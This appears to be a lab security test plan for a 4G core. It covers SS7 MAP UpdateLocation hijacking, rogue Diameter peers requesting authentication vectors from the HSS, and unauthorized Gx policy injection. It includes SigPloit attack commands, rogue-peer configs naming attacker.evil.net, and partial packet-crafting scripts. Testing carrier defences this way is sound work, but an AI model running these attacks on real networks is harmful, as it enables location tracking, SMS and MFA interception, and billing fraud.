TP-05_ss7_diameter
TP-05 — SS7 / Diameter Signaling Tests
Domain: Legacy Signaling Protocol Security
Standards: GSMA FS.11 (SS7) · 3GPP TS 33.210 (Diameter) · NIST SP 800-187 §4.4
Prerequisites: TP-00 complete; 4G EPC lab running; SigPloit and FreeDiameter installed
Legal Notice: All tests in this domain must be executed ONLY against the isolated lab environment. These techniques are illegal against live networks without explicit written authorization.
TC-SS7-01: SS7 Location Tracking via MAP UpdateLocation
Threat Model
sequenceDiagram
participant ATK as Attacker\n(SS7 Access Broker)
participant SS7GW as SS7 Network\n(SIGTRAN/M3UA)
participant HLR as HLR/HSS
participant MSC as Victim's Serving MSC
participant VLRMSC as Attacker's Fake VLR
Note over ATK,VLRMSC: THREAT VECTOR: SS7 MAP UpdateLocation\npoisoning HLR with rogue VLR
Note over ATK: Attacker buys SS7 access\nfrom roaming broker (real-world: ~$500-2000/mo)
ATK->>SS7GW: MAP UpdateLocation Request\n{IMSI: victim, newVLR: rogue_VLR_GT}
SS7GW->>HLR: MAP UpdateLocation\n(no authentication — SS7 trust model)
HLR->>HLR: Update subscriber location\nVLR address = rogue_VLR_GT
HLR->>MSC: MAP CancelLocation\n(tell real MSC subscriber left)
MSC->>MSC: Remove subscriber registration
HLR-->>ATK: UpdateLocationAck
Note over ATK: Now ALL calls/SMS to victim\nrouted through attacker's fake VLR
ATK->>HLR: MAP SendRoutingInfo (MSISDN→victim)
HLR-->>ATK: MSRN from rogue VLR
Note over ATK: Attacker intercepts incoming SMS\n→ OTP theft for banking/MFA bypass
Note over ATK,VLRMSC: ⚠️ REAL-WORLD: Used in 2017 German bank fraud\n(O2-Telefónica customers; direct fund theft)
Note over SS7GW: MITIGATION: SS7 Firewall Category 3\nBlock UpdateLocation from non-home PLMNsObjective
Simulate SS7 UpdateLocation attack in lab to validate whether HSS/HLR accepts unauthorized location updates; verify SS7 firewall mitigation.
Steps
# Prerequisites: SigPloit installed (Python 2.7 env)
# Note: Open5GS does not have native SS7; this test uses a standalone
# HLR/SS7 stack (OsmoHLR) or demonstrates the concept with SigPloit config
cd ~/open5gs-lab/tools/SigPloit
source ~/open5gs-lab/tools/sigploit-env/bin/activate
# 1. Configure SigPloit for lab SS7 parameters
cat > config/sigploit.cfg << 'EOF'
[SS7]
# Lab SS7 settings (OsmoHLR or lab MSC)
opc = 1-1-1
dpc = 1-1-2
local_ip = 127.0.0.1
local_port = 2905
remote_ip = 127.0.0.1
remote_port = 2906
[ATTACK]
imsi = 001010000000001
msisdn = 0000000001
rogue_vlr_gt = 49123456789 # attacker's fake VLR global title
EOF
# 2. View available SS7 attack modules
python sigploit.py --list
# 3. Execute UpdateLocation attack
python sigploit.py \
--attack updateLocation \
--imsi 001010000000001 \
--newVLR 49123456789 \
--verbose
# 4. Check HLR to see if location was updated
# (If using OsmoHLR)
osmo-hlr-vty -p 4258 <<< "show subscriber imsi 001010000000001"
# 5. Verify with pycrate (alternative — manual MAP message)
python3 << 'PYEOF'
from pycrate.mobile.NAS import *
# Conceptual: craft MAP UpdateLocation message
# Demonstrates the protocol trust model gap
print("MAP UpdateLocation uses no cryptographic authentication")
print("Any SS7 node can send this message to any HLR")
print("This is the fundamental SS7 trust model vulnerability")
print("Mitigated by: SS7 firewall, category 1-3 filtering per GSMA FS.11")
PYEOF
deactivate
Expected Results
- Lab HLR accepts UpdateLocation (expected — demonstrates vulnerability)
- Subscriber location in HLR updated to rogue VLR
- Real MSC receives CancelLocation
- Demonstrates why SS7 firewall is mandatory (GSMA FS.11 Category 3)
Pass Criteria (hardened lab)
SS7 firewall (if deployed) blocks UpdateLocation from non-home-network Point Code.
TC-DIA-01: Diameter S6a — Unauthorized Authentication-Information-Request
Threat Model
sequenceDiagram
participant ATK as Attacker\n(Rogue Diameter Peer)
participant LEGIT as Legitimate MME
participant HSS as HSS (Open5GS)
Note over ATK,HSS: THREAT VECTOR: Rogue Diameter peer requests\nauthentication vectors for victim subscriber
LEGIT->>HSS: Diameter AIR\n{Origin-Host: mme.lab.net,\n IMSI: 001010000000001}
Note over HSS: Peer: mme.lab.net — whitelisted
HSS-->>LEGIT: AIA\n{RAND, AUTN, KASME — 5x AVs}
Note over ATK: Attacker connects as fake Diameter peer
ATK->>HSS: SCTP Connect (port 3868)
ATK->>HSS: Diameter CER\n{Origin-Host: attacker.evil.net\nOrigin-Realm: evil.net}
HSS->>HSS: Check peer whitelist\nattacker.evil.net in config?
alt No peer whitelisting (lab default)
HSS-->>ATK: CEA (success — connection accepted)
ATK->>HSS: Diameter AIR\n{Origin-Host: attacker.evil.net,\n IMSI: 001010000000001}
HSS-->>ATK: AIA\n{RAND, AUTN, KASME}
Note over ATK: ❌ CRITICAL: Attacker has auth vectors\nCan now MitM or pre-compute responses
else Peer whitelisted (secure config)
HSS-->>ATK: DPR (Disconnect-Peer-Request)\nor connection refused
Note over ATK: ✅ BLOCKED\nUnauthorized peer rejected
endObjective
Verify HSS rejects Diameter AIR requests from unauthenticated or non-whitelisted Diameter peers.
Steps
# Method A: FreeDiameter as rogue client
# 1. Create rogue FreeDiameter client config
cat > /tmp/rogue-diameter.conf << 'EOF'
Identity = "attacker.evil.net";
Realm = "evil.net";
TLS_Cred = "/tmp/rogue-cert.pem", "/tmp/rogue-key.pem";
TLS_CA = "/tmp/rogue-ca.pem";
ConnectPeer = "hss.lab.net" { ConnectTo = "172.22.0.4"; Port = 3868; No_TLS; };
EOF
# 2. Generate self-signed rogue cert
openssl req -x509 -newkey rsa:2048 -keyout /tmp/rogue-key.pem \
-out /tmp/rogue-cert.pem -days 1 -nodes \
-subj "/CN=attacker.evil.net"
cp /tmp/rogue-cert.pem /tmp/rogue-ca.pem
# 3. Use pycrate to craft raw Diameter AIR
python3 << 'PYEOF'
import socket
import struct
HSS_IP = "172.22.0.4"
HSS_PORT = 3868
# Diameter CER (Capabilities-Exchange-Request) — minimal
# Header: Version=1, Length, Flags=0x80 (Request), Code=257 (CER)
# Hop-by-Hop-ID, End-to-End-ID
def build_diameter_cer():
# AVPs: Origin-Host, Origin-Realm, Host-IP-Address, Vendor-Id, Product-Name
origin_host = b"attacker.evil.net"
realm = b"evil.net"
def avp(code, value, flags=0x40):
padded = value + b'\x00' * ((4 - len(value) % 4) % 4)
length = 8 + len(value)
return struct.pack("!IBI3s", code, flags, 0, length.to_bytes(3,'big')[0:3]) + padded
# This is conceptual — demonstrates the attempt
print("Attempting Diameter CER to HSS...")
return b""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((HSS_IP, HSS_PORT))
print(f"TCP connection to HSS {HSS_IP}:{HSS_PORT} — ACCEPTED")
print("HSS accepts TCP connections from rogue peer")
print("Next: check if CER/CEA exchange succeeds without auth")
sock.close()
except ConnectionRefusedError:
print("✅ HSS port not accessible — good isolation")
except Exception as e:
print(f"Connection result: {e}")
PYEOF
# 4. Check HSS Diameter peer whitelist configuration
docker exec open5gs-epc cat /etc/open5gs/freeDiameter/hss.conf 2>/dev/null | \
grep -A5 "ConnectPeer\|AllowedPeer"
# 5. Check HSS logs for connection attempts
docker logs open5gs-epc 2>&1 | grep -i "diameter\|peer\|CEA\|CER" | tail -20
Expected Results (secure config)
- HSS rejects CER from
attacker.evil.net(not in peer whitelist) - No AIA returned to unauthorized peer
- No authentication vectors disclosed
Finding
If AIA returned to rogue peer: CRITICAL FINDING — AV leak enables AKA interception and MitM.
Pass Criteria
Rogue Diameter peer cannot retrieve any authentication vectors.
TC-DIA-02: Diameter Gx — Unauthorized Policy Rule Injection
Threat Model
sequenceDiagram
participant ATK as Attacker\n(Rogue Gx Peer)
participant PCRF as PCRF (Open5GS)
participant SGW as SGW-C / MME
participant UE as Subscriber UE
Note over ATK,UE: THREAT VECTOR: Rogue Gx peer pushes fraudulent\nQoS rules to upgrade/degrade service
Note over ATK: Normal Gx flow (reference)
SGW->>PCRF: Diameter CCR (Credit-Control-Request)\n{IMSI, APN, current QoS}
PCRF-->>SGW: Diameter CCA\n{PCC rules: 10Mbps DL, 5Mbps UL}
Note over ATK: Attack: Rogue peer sends Re-Auth-Request
ATK->>PCRF: Diameter RAR (Re-Auth-Request)\n{Origin-Host: attacker.evil.net,\n Session-Id: ,\n Charging-Rule: 1Gbps DL}
PCRF->>PCRF: Validate peer identity\nAttacker in peer whitelist?
alt No peer validation (vulnerable)
PCRF-->>ATK: RAA (Re-Auth-Answer, Success)
PCRF->>SGW: Diameter RAR\n{Apply 1Gbps rule for subscriber}
SGW->>UE: Bearer Modification\n(bandwidth upgrade — fraud)
Note over ATK: ❌ BILLING FRAUD\nAttacker granted unlimited bandwidth\nwithout paying
else Peer validated (secure)
PCRF-->>ATK: 3010 DIAMETER_UNKNOWN_PEER
Note over ATK: ✅ BLOCKED\nPolicy unchanged
end Objective
Verify PCRF rejects unauthorized Diameter Gx Re-Auth-Request from rogue peers to prevent policy fraud.
Steps
# 1. Check PCRF Gx interface accessibility
python3 << 'PYEOF'
import socket
PCRF_IP = "172.22.0.4"
GX_PORT = 3868 # Standard Diameter port (Gx uses same port, different Application-ID)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
result = sock.connect_ex((PCRF_IP, GX_PORT))
if result == 0:
print(f"⚠️ PCRF Diameter port {GX_PORT} is ACCESSIBLE from test host")
print("This means an attacker on the same network segment could attempt Gx peer connection")
else:
print(f"✅ PCRF Diameter port {GX_PORT} not accessible (errno={result})")
sock.close()
except Exception as e:
print(f"Test result: {e}")
PYEOF
# 2. Craft a minimal Diameter RAR (Re-Auth-Request) for Gx
python3 << 'PYEOF'
import socket, struct, uuid
PCRF_IP = "172.22.0.4"
DIAM_PORT = 3868
# Diameter header: Version=1, Flags=0xC0 (Request+Proxiable), Code=258 (RAR)
# Application-ID=16777238 (Gx = 3GPP-Gx)
hop_id = int(uuid.uuid4()) & 0xFFFFFFFF
end_id = int(uuid.uuid4()) & 0xFFFFFFFF
# RAR header
hdr = struct.pack("!BBHBBBBII",
1, # Version
0, 20, # Length (20 = header only, no AVPs for simplicity)
0xC0, # Flags: R+P
0, 1, 2, # Command Code = 258 (0x000102)
16777238, # App-ID: Gx
hop_id, # Hop-by-Hop
)
print("Rogue Gx RAR crafted (conceptual — full AVP construction requires pycrate)")
print("Key insight: Without peer whitelist, PCRF would process this from any peer")
print("Mitigation: Diameter peer whitelist in freeDiameter config + TLS")
# Check PCRF config for peer validation
import subprocess
result = subprocess.run(
["docker", "exec", "open5gs-epc", "cat", "/etc/open5gs/freeDiameter/pcrf.conf"],
capture_output=True, text=True
)
if result.returncode == 0:
config = result.stdout
if "ConnectPeer" in config or "AllowedPeer" in config:
print("✅ PCRF has peer configuration")
print(config[:500])
else:
print("⚠️ No explicit peer restriction found in PCRF freeDiameter config")
PYEOF
# 3. Verify current Gx sessions
docker logs open5gs-epc 2>&1 | grep -i "gx\|pcrf\|CCR\|CCA" | tail -20
# 4. Check network isolation — can test host reach PCRF Gx port?
nmap -sT -p 3868 172.22.0.4 -oN /tmp/pcrf-portscan.txt
cat /tmp/pcrf-portscan.txt | grep "3868"
Expected Results
- PCRF Diameter port should NOT be accessible from outside the control plane network
- freeDiameter config should have explicit
ConnectPeerwhitelist - Rogue Gx peer connection rejected or not routed
Finding
PCRF Diameter accessible from non-whitelisted peer: HIGH FINDING — policy fraud via unauthorized RAR.
Pass Criteria
PCRF rejects all Gx messages from non-whitelisted peers. Port not accessible from RAN or external segments.